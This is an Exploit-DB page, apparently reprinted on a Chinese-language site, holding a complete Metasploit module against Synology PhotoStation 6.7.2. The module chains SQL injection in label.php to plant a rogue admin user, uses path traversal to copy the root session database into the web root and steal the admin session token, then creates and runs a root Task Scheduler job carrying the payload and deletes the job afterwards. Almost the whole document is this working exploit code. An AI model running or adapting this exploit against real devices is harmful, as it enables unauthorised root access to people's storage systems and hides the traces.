Synology Photostation 6.7.2-3429 – Remote Code Execution (Metasploit)

  • 作者: James Bercegay
    日期: 2018-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43474/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Synology PhotoStation Multiple Vulnerabilities",
    'Description'=> %q{
    This module exploits multiple vulnerabilities in Synology PhotoStation.
    When combined these issues can be leveraged to gain a remote root shell.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'James Bercegay',
    ],
    'References' =>
    [
    [ 'URL', 'http://gulftech.org/' ]
    ],
    'Privileged' => false,
    'Payload'=>
    {
    'DisableNops' => true
    },
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Targets'=> [ ['Automatic', {}] ],
    'DisclosureDate' => '2018-01-08',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('DSMPORT', [ true,"The default DSM port", '5000']),
    ])
    end
    
    def check
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; SELECT user; -- "
    },
    })
    
    if res and res.body =~ /PhotoStation/
    return Exploit::CheckCode::Vulnerable
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    def exploit
    
    rnum = rand(1000)
    rstr = Rex::Text.rand_text_alpha(10)
    
    uuid = rnum # User ID
    upwd = rstr # User Password
    uusr = rstr # User name
    
    vol1 = '/volume1'
    audb = '/usr/syno/etc/private/session/current.users'
    
    ###########################################################################
    # STEP 00: Force PhotoStation to NOT use DSM for the authentication system
    ###########################################################################
    
    print_status("Switching authentication system to PhotoStation via SQL Injection")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
    },
    })
    
    ###########################################################################
    # STEP 01: Create an admin user
    ###########################################################################
    
    print_status("Creating admin user: #{uusr} => #{upwd}")
    
    # Password hash
    umd5 = Rex::Text.md5(upwd)
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
    },
    })
    
    ###########################################################################
    # STEP 02: Authenticate and store session identifier
    ###########################################################################
    
    print_status("Authenticating as admin user: #{uusr}")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/webapi/auth.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'api' =>'SYNO.PhotoStation.Auth',
    'method' => 'login',
    'version' =>'1',
    'username' => uusr,
    'password' => upwd,
    'enable_syno_token' => 'TRUE',
    
    },
    })
    
    if not res or not res.headers or not res.headers['Set-Cookie']
    print_error("Unable to retrieve session identifier! Aborting ...")
    return
    end
    
    uckv =res.headers['Set-Cookie']
    psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]
    
    print_status("Got PHP Session ID: #{psid}")
    
    ###########################################################################
    # STEP 03: Delete any existing path names used from the database
    ###########################################################################
    
    print_status("Making sure there are no duplicate path index conflicts ...")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
    },
    })
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
    },
    })
    
    ###########################################################################
    # STEP 04: Create a record for our malicious path in the database
    ###########################################################################
    
    print_status("Creating video record with bad 'path' data via SQL injection")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/blog/label.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'get_article_label',
    'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
    },
    })
    
    ###########################################################################
    # STEP 05: Copy session database as root, to the web directory for reading
    ###########################################################################
    
    print_status("Making a copy of the session db as root via synophotoio")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/photo/album_util.php',
    'method'=> 'POST',
    'vars_post' =>
    {
    'action' =>'copy_items',
    'destination' => '2f', 
    'video_list' => rnum
    },
    'cookie' => uckv
    })
    
    ###########################################################################
    # STEP 06: Move the session db copy to the web root for retrieval
    ###########################################################################
    
    print_status("Moving session db to webroot for retrieval")
    
    res = send_request_cgi(
    {
    'uri' =>'/photo/include/file_upload.php',
    'method'=> 'POST',
    'vars_get' =>
    {
    # /../@appstore/PhotoStation/photo/
    'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',
    'name' => "2f",
    'fname' => "#{rstr}",
    'sid' => "#{psid}",
    'action' => 'aviary_add',
    },
    'vars_post' =>
    {
    'url' => 'file://' + vol1 + '/photo/current.users'
    },
    'cookie' => uckv
    })
    
    ###########################################################################
    # STEP 07: Retrieve and read the session db
    ###########################################################################
    
    print_status("Attempting to read session db")
    
    res = send_request_cgi(
    {
    'uri' =>"/photo/#{rstr}.jpg",
    'method'=> 'GET'
    })
    
    if not res or not res.body
    print_error("Unable to retrieve session file! Aborting ...")
    return
    end
    
    host = /"host": "([^"]+)"/.match(res.body)[1]
    sess = /"id": "([^"]+)"/.match(res.body)[1]
    syno = /"synotoken": "([^"]+)"/.match(res.body)[1]
    
    print_status("Extracted admin session: #{sess} @ #{host}")
    
    ###########################################################################
    # STEP 08: Registering files for cleanup
    ###########################################################################
    
    # Uncomment for cleanup functionality
    # register_files_for_cleanup("#{vol1}/photo/current.users")
    # register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")
    
    ###########################################################################
    # STEP 09: Create a task containing our payload
    ###########################################################################
    
    print_status("Creating privileged task to run as root")
    
    # Switch to DSM port from here on out
    datastore['RPORT'] = datastore['DSMPORT']
    
    res = send_request_cgi(
    {
    'uri' =>'/webapi/entry.cgi',
    'headers' => 
    { 
    'X-SYNO-TOKEN' => syno, 
    'Client-IP' => host 
    },
    'method'=> 'POST',
    'vars_post' =>
    {
    'name' => '"whatevs"',
    'owner' => '"root"',
    'enable' => 'true',
    'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',
    'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',
    'type' => '"script"',
    'api' => 'SYNO.Core.TaskScheduler',
    'method' => 'create',
    'version' => '2',
    
    },
    'cookie' => "id=#{sess}"
    })
    
    if not res or not res.body
    print_error("Unable to create task! Aborting ...")
    return
    end
    
    task = /{"id"\d+)},"success":true}/.match(res.body)[1]
    
    print_status("Task created successfully: ID => #{task}")
    
    ###########################################################################
    # STEP 10: Execute the selected payload
    ###########################################################################
    
    print_status("Running selected task as root. Get ready for shell!")
    
    res = send_request_cgi(
    {
    'uri' =>'/webapi/entry.cgi',
    'headers' => 
    { 
    'X-SYNO-TOKEN' => syno, 
    'Client-IP' => host 
    },
    'method'=> 'POST',
    'vars_post' =>
    {
    'stop_when_error' => 'false',
    'mode' => '"sequential"',
    'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',
    'api' => 'SYNO.Entry.Request',
    'method' => 'request',
    'version' => '1'
    },
    'cookie' => "id=#{sess}"
    })
    
    ###########################################################################
    # STEP 11: Delete payload task from scheduler
    ###########################################################################
    
    print_status("Deleting malicious task from task scheduler")
    
    res = send_request_cgi(
    {
    'uri' =>'/webapi/entry.cgi',
    'headers' => 
    { 
    'X-SYNO-TOKEN' => syno, 
    'Client-IP' => host 
    },
    'method'=> 'POST',
    'vars_post' =>
    {
    'stop_when_error' => 'false',
    'mode' => '"sequential"',
    'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',
    'api' => 'SYNO.Entry.Request',
    'method' => 'request',
    'version' => '1'
    },
    'cookie' => "id=#{sess}"
    })
    
    end
    end